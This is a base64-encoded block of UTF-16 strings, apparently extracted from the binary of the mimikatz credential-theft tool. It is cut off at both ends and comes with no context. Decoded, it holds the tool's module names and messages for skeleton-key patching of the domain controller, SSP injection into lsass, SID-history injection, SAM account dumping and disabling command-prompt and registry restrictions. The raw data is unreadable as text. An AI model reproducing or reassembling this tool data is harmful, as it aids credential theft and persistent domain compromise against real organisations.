QAUwBfAEEAQwBDAE8AVQBOAFQAAABVAFMARQBfAEEARQBTAF8ASwBFAFkAUwAAAAAAAAAAADAAeAAxADAAMAAwADAAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADIAMAAwADAAMAAwADAAMAAgAD8AAAAAAAAAAAAwAHgANAAwADAAMAAwADAAMAAwACAAPwAAAAAAAAAAADAAeAA4ADAAMAAwADAAMAAwADAAIAA/AAAAAAAAAAAARABPAE0AQQBJAE4AXwBPAEIASgBFAEMAVAAAAAAAAABHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAAAAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8ARwBSAE8AVQBQAF8ATwBCAEoARQBDAFQAAAAAAAAAQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAAAAAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAAAAAAFUAUwBFAFIAXwBPAEIASgBFAEMAVAAAAE0AQQBDAEgASQBOAEUAXwBBAEMAQwBPAFUATgBUAAAAVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAAABBAFAAUABfAEIAQQBTAEkAQwBfAEcAUgBPAFUAUAAAAEEAUABQAF8AUQBVAEUAUgBZAF8ARwBSAE8AVQBQAAAAKgAqACAAUwBBAE0AIABBAEMAQwBPAFUATgBUACAAKgAqAAoACgAAAFMAQQBNACAAVQBzAGUAcgBuAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAFUAcwBlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAE4AYQBtAGUAIAAgADoAIAAAAEEAYwBjAG8AdQBuAHQAIABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAgACUAcwAgACkACgAAAFUAcwBlAHIAIABBAGMAYwBvAHUAbgB0ACAAQwBvAG4AdAByAG8AbAAgADoAIAAlADAAOAB4ACAAKAAgAAAAAABBAGMAYwBvAHUAbgB0ACAAZQB4AHAAaQByAGEAdABpAG8AbgAgACAAIAA6ACAAAABQAGEAcwBzAHcAbwByAGQAIABsAGEAcwB0ACAAYwBoAGEAbgBnAGUAIAA6ACAAAABPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAgAEkARAAgACAAIAA6ACAAAABPAGIAagBlAGMAdAAgAFIAZQBsAGEAdABpAHYAZQAgAEkARAAgACAAIAA6ACAAJQB1AAoAAAAAAAoAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAAAAAbgB0AGwAbQAAAAAAAAAAAGwAbQAgACAAAAAAAAAAAAAKAFMAdQBwAHAAbABlAG0AZQBuAHQAYQBsACAAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAACoAIAAlAHcAWgAgACoACgAAAAAAJTAyeAAAAAAAAAAAAAAAAAAAAAAqACoAIABUAFIAVQBTAFQARQBEACAARABPAE0AQQBJAE4AIAAtACAAQQBuAHQAaQBzAG8AYwBpAGEAbAAgACoAKgAKAAoAAABQAGEAcgB0AG4AZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAGMAbQBkAAAAAAAAAAAAAABDAG8AbQBtAGEAbgBkACAAUAByAG8AbQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAEMATQBEACkAAAAAAAAAAAByAGUAZwBlAGQAaQB0AAAAUgBlAGcAaQBzAHQAcgB5ACAARQBkAGkAdABvAHIAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzACkAAAAAAHQAYQBzAGsAbQBnAHIAAABUAGEAcwBrACAATQBhAG4AYQBnAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAKQAAAAAAAAAAAG4AYwByAG8AdQB0AGUAbQBvAG4AAAAAAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgACgAdwBpAHQAaABvAHUAdAAgAHIAbwB1AHQAZQAgAG0AbwBuAGkAdABvAHIAaQBuAGcAKQAAAAAAZABlAHQAbwB1AHIAcwAAAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAVAByAHkAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGEAbABsACAAbQBvAGQAdQBsAGUAcwAgAHcAaQB0AGgAIABEAGUAdABvAHUAcgBzAC0AbABpAGsAZQAgAGgAbwBvAGsAcwAAAHcAaQBmAGkAAAAAAAAAAABhAGQAZABzAGkAZAAAAAAAbQBlAG0AcwBzAHAAAAAAAHMAawBlAGwAZQB0AG8AbgAAAAAAAAAAAG0AaQBzAGMAAAAAAAAAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAAAAAAB3AGwAYQBuAGEAcABpAAAAV2xhbk9wZW5IYW5kbGUAAFdsYW5DbG9zZUhhbmRsZQBXbGFuRW51bUludGVyZmFjZXMAAAAAAABXbGFuR2V0UHJvZmlsZUxpc3QAAAAAAABXbGFuR2V0UHJvZmlsZQAAV2xhbkZyZWVNZW1vcnkAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAAByAGUAZwBlAGQAaQB0AC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFQAYQBzAGsATQBnAHIAAAAAAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgAAAAAAdABhAHMAawBtAGcAcgAuAGUAeABlAAAAZABzAE4AYwBTAGUAcgB2AGkAYwBlAAAACQAoACUAdwBaACkAAAAAAAkAWwAlAHUAXQAgACUAdwBaACAAIQAgAAAAAAAAAAAAJQAtADMAMgBTAAAAAAAAACMAIAAlAHUAAAAAAAAAAAAJACAAJQBwACAALQA+ACAAJQBwAAAAAAAlAHcAWgAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGQAZQB0AG8AdQByAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAFAAYQB0AGMAaAAgAE8ASwAgAGYAbwByACAAJwAlAHMAJwAgAGYAcgBvAG0AIAAnACUAcwAnACAAdABvACAAJwAlAHMAJwAgAEAAIAAlAHAACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGcAZQBuAGUAcgBpAGMAXwBuAG8AZwBwAG8AXwBwAGEAdABjAGgAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbgBvAHQAXwByAGUAYQBkAHkAAAAAAAAAYwBvAG4AbgBlAGMAdABlAGQAAAAAAAAAYQBkAF8AaABvAGMAXwBuAGUAdAB3AG8AcgBrAF8AZgBvAHIAbQBlAGQAAAAAAAAAZABpAHMAYwBvAG4AbgBlAGMAdABpAG4AZwAAAAAAAABkAGkAcwBjAG8AbgBuAGUAYwB0AGUAZAAAAAAAAAAAAGEAcwBzAG8AYwBpAGEAdABpAG4AZwAAAGQAaQBzAGMAbwB2AGUAcgBpAG4AZwAAAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG4AZwAAAAAAIAAqACAAAAAgAC8AIAAlAHMAIAAtACAAJQBzAAoAAAAJAHwAIAAlAHMACgAAAAAAbgB0AGQAcwBhAGkALgBkAGwAbAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAYgBhAGMAawB1AHAAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAUwBlAGEAcgBjAGgAIAAlAHUAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYQBkAGQAcwBpAGQAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBwAHIAbwB0AGUAYwB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMASQBEAEgAaQBzAHQAbwByAHkAIABmAG8AcgAgACcAJQBzACcACgAAAAAAAAAAACAAKgAgACUAcwAJAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAEQAcwBBAGQAZABTAGkAZABIAGkAcwB0AG8AcgB5ADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkAIQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYQBkAGQAcwBpAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAEQAcwBCAGkAbgBkADoAIAAlADAAOAB4ACAAKAAlAHUAKQAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAE8AUwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQAIAAoAG8AbgBsAHkAIAB3ADIAawA4AHIAMgAgACYAIAB3ADIAawAxADIAcgAyACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAEkAdAAgAHIAZQBxAHUAaQByAGUAcwAgAGEAdAAgAGwAZQBhAHMAdAAgADIAIABhAHIAZwBzAAoAAABtAHMAdgBjAHIAdAAuAGQAbABsAAAAAABmb3BlbgAAAGZ3cHJpbnRmAAAAAGZjbG9zZQAAAAAAAGwAcwBhAHMAcwAuAGUAeABlAAAAAAAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAEkAbgBqAGUAYwB0AGUAZAAgAD0AKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAwACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAxACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIAByAGUAYQBsACAAYQBzAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABMb2NhbEFsbG9jAAAAAAAAawBkAGMAcwB2AGMALgBkAGwAbAAAAAAAWwBLAEQAQwBdACAAZABhAHQAYQAKAAAAWwBLAEQAQwBdACAAcwB0AHIAdQBjAHQACgAAAAAAAABbAEsARABDAF0AIABrAGUAeQBzACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAUwBlAGMAbwBuAGQAIABwAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAEYAaQByAHMAdAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABjAHIAeQBwAHQAZABsAGwALgBkAGwAbAAAAAAAAAAAAFsAUgBDADQAXQAgAGYAdQBuAGMAdABpAG8AbgBzAAoAAAAAAAAAAABbAFIAQwA0AF0AIABpAG4AaQB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAAAABbAFIAQwA0AF0AIABkAGUAYwByAHkAcAB0ACAAcABhAHQAYwBoACAATwBLAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAHIAZQBtAG8AdABlACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbABvAGMAYQBsAGcAcgBvAHUAcAAAAAAAZwByAG8AdQBwAAAAAAAAAG4AZQB0AAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAQgB1AGkAbAB0AGkAbgAgACgAPwApACAAJQAwADgAeAAKAAAACgBEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIAA6ACAAJQB3AFoAAAAAAAoARABvAG0AYQBpAG4AIABTAEkARAAgACAAOgAgAAAACgAgACUALQA1AHUAIAAlAHcAWgAAAAAACgAgAHwAIAAlAC0ANQB1ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQARwByAG8AdQBwAHMARgBvAHIAVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAAAKACAAfABgACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABBAGwAaQBhAHMATQBlAG0AYgBlAHIAcwBoAGkAcAAgACUAMAA4AHgAAAAAAAoAIAB8ALQAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAFIAaQBkAFQAbwBTAGkAZAAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAAAAAAAAZABlAGIAdQBnAAAAAAAAAEEAcwBrACAAZABlAGIAdQBnACAAcAByAGkAdgBpAGwAZQBnAGUAAABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABQAHIAaQB2AGkAbABlAGcAZQAgAG0AbwBkAHUAbABlAAAAAAAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAHMAaQBtAHAAbABlACAAOwAgAFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACAAKAAlAHUAKQAgACUAMAA4AHgACgAAAAAAAABlAHgAcABvAHIAdABzAAAATABpAHMAdAAgAGUAeABwAG8AcgB0AHMAAAAAAAAAAABpAG0AcABvAHIAdABzAAAATABpAHMAdAAgAGkAbQBwAG8AcgB0AHMAAAAAAAAAAABzAHQAYQByAHQAAAAAAAAAUwB0AGEAcgB0ACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAbwBwAAAAAAAAAAAAVABlAHIAbQBpAG4AYQB0AGUAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdQBzAHAAZQBuAGQAAABTAHUAcwBwAGUAbgBkACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAcgBlAHMAdQBtAGUAAAAAAFIAZQBzAHUAbQBlACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAAABQAHIAbwBjAGUAcwBzACAAbQBvAGQAdQBsAGUAAAAAAFQAcgB5AGkAbgBnACAAdABvACAAcwB0AGEAcgB0ACAAIgAlAHMAIgAgADoAIAAAAE8ASwAgACEAIAAoAFAASQBEACAAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBzAHQAYQByAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwByAGUAYQB0AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AdABUAGUAcgBtAGkAbgBhAHQAZQBQAHIAbwBjAGUAcwBzAAAAAABOAHQAUwB1AHMAcABlAG4AZABQAHIAbwBjAGUAcwBzAAAAAAAAAAAATgB0AFIAZQBzAHUAbQBlAFAAcgBvAGMAZQBzAHMAAAAlAHMAIABvAGYAIAAlAHUAIABQAEkARAAgADoAIABPAEsAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgACUAcwAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAHAAaQBkACAAKAAvAHAAaQBkADoAMQAyADMAKQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcAAAAAAAAAJQB1AAkAJQB3AFoACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AbwBwAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAlAHcAWgAAAAAAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHUAAAAAAAkAJQB1AAAACQAgAAAAAAAJACUAcAAAAAkAJQBTAAAACQAtAD4AIAAlAFMAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHAACQAlAFMAIAAhACAAAAAAACUAUwAAAAAAAAAAACMAJQB1AAAAUwB0AGEAcgB0ACAAcwBlAHIAdgBpAGMAZQAAAAAAAABSAGUAbQBvAHYAZQAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdABvAHAAIABzAGUAcgB2AGkAYwBlAAAAAAAAAAAAUwB1AHMAcABlAG4AZAAgAHMAZQByAHYAaQBjAGUAAABSAGUAcwB1AG0AZQAgAHMAZQByAHYAaQBjAGUAAAAAAHAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAABzAGgAdQB0AGQAbwB3AG4AAAAAAAAAAABTAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAAAAAAAAATABpAHMAdAAgAHMAZQByAHYAaQBjAGUAcwAAAAAAAABTAGUAcgB2AGkAYwBlACAAbQBvAGQAdQBsAGUAAAAAACUAcwAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAOgAgAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABTAGUAcgB2AGkAYwBlACAAbwBwAGUAcgBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAASQBuAGoAZQBjAHQAIABuAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlAAoAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHMAZQByAHYAaQBjAGUAIABuAGEAbQBlACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAFMAdABhAHIAdABpAG4AZwAAAAAAAAAAAFIAZQBtAG8AdgBpAG4AZwAAAAAAAAAAAFMAdABvAHAAcABpAG4AZwAAAAAAAAAAAFMAdQBzAHAAZQBuAGQAaQBuAGcAAAAAAFIAZQBzAHUAbQBpAG4AZwAAAAAAAAAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFMAaAB1AHQAZABvAHcAbgAAAAAAAAAAAHMAZQByAHYAaQBjAGUAcwAuAGUAeABlAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAGUAcgByAG8AcgAgACUAdQAKAAAAAAAAAE8ASwAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaQB0AGgAbwB1AHQAIABTAGMAUwBlAG4AZABDAG8AbgB0AHIAbwBsAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAZQB4AGkAdAAAAAAAAAAAAFEAdQBpAHQAIABtAGkAbQBpAGsAYQB0AHoAAAAAAAAAYwBsAHMAAABDAGwAZQBhAHIAIABzAGMAcgBlAGUAbgAgACgAZABvAGUAcwBuACcAdAAgAHcAbwByAGsAIAB3AGkAdABoACAAcgBlAGQAaQByAGUAYwB0AGkAbwBuAHMALAAgAGwAaQBrAGUAIABQAHMARQB4AGUAYwApAAAAAABhAG4AcwB3AGUAcgAAAAAAAAAAAAAAAABBAG4AcwB3AGUAcgAgAHQAbwAgAHQAaA